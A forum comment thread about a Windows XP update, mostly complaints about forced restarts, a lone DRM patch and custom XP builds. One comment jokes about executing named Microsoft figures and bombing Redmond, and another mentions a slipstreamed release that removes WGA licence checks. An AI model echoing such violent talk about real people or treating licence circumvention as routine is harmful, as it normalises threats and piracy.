so this is the update that waited till i was sleeping and in the middle of downloading a 4 gig file!!! which off course with all windows updates it forces your computer to restart!!!! so when i woke up i was greeted with a restarted computer and an incomplete download…

Microsoft need to get rid of the forced restart with its updates!

You know when windows tuesday’s monthly fixes come around I am usually looking at 5 or 6 security fixes. What do winxp users get instead? 1 damn patch for this problem with drm bug that shipped with windows 6 years ago. WOW!! Way to help out the users.. out of all the problems with windows they give us 1 patch for some useless drm problem.

@15 – A very useful site, better then windows update and faster also.

I can’t use windows expolorer for some reason after I nlited my OS. I will have to figure out what I did wrong, but it has to do with the slipstreaming of the latest 7.0 release that removes the wga.

IMHO there is still a critical flaw.
No one has executed Bill, Steve, and the developers yet.

Maybe Santa will bomb Redmond for Christmas?

Are you telling me I have to make ANOTHER build of the customXP disk I just burnt? You sons of satan!

The only thing worse than microsoft’s buggy software is stupid spammers like #12 mark

An idea … for articles like this one, relating to MS fixes and such, it might be good to add a link to, or mention of, the various means of getting MS updates without using windowsupdate. There are various sites and apps that can do this for you and some of the users here might appreciate that. No, I’m not talking about cracked WGA or anything like that, merely the sites that supply all the fixes and updates on their own servers, so you can completely circumvent MS.

At times, I do wonder if all these critical updates which are not needed for the newest OS really exist?
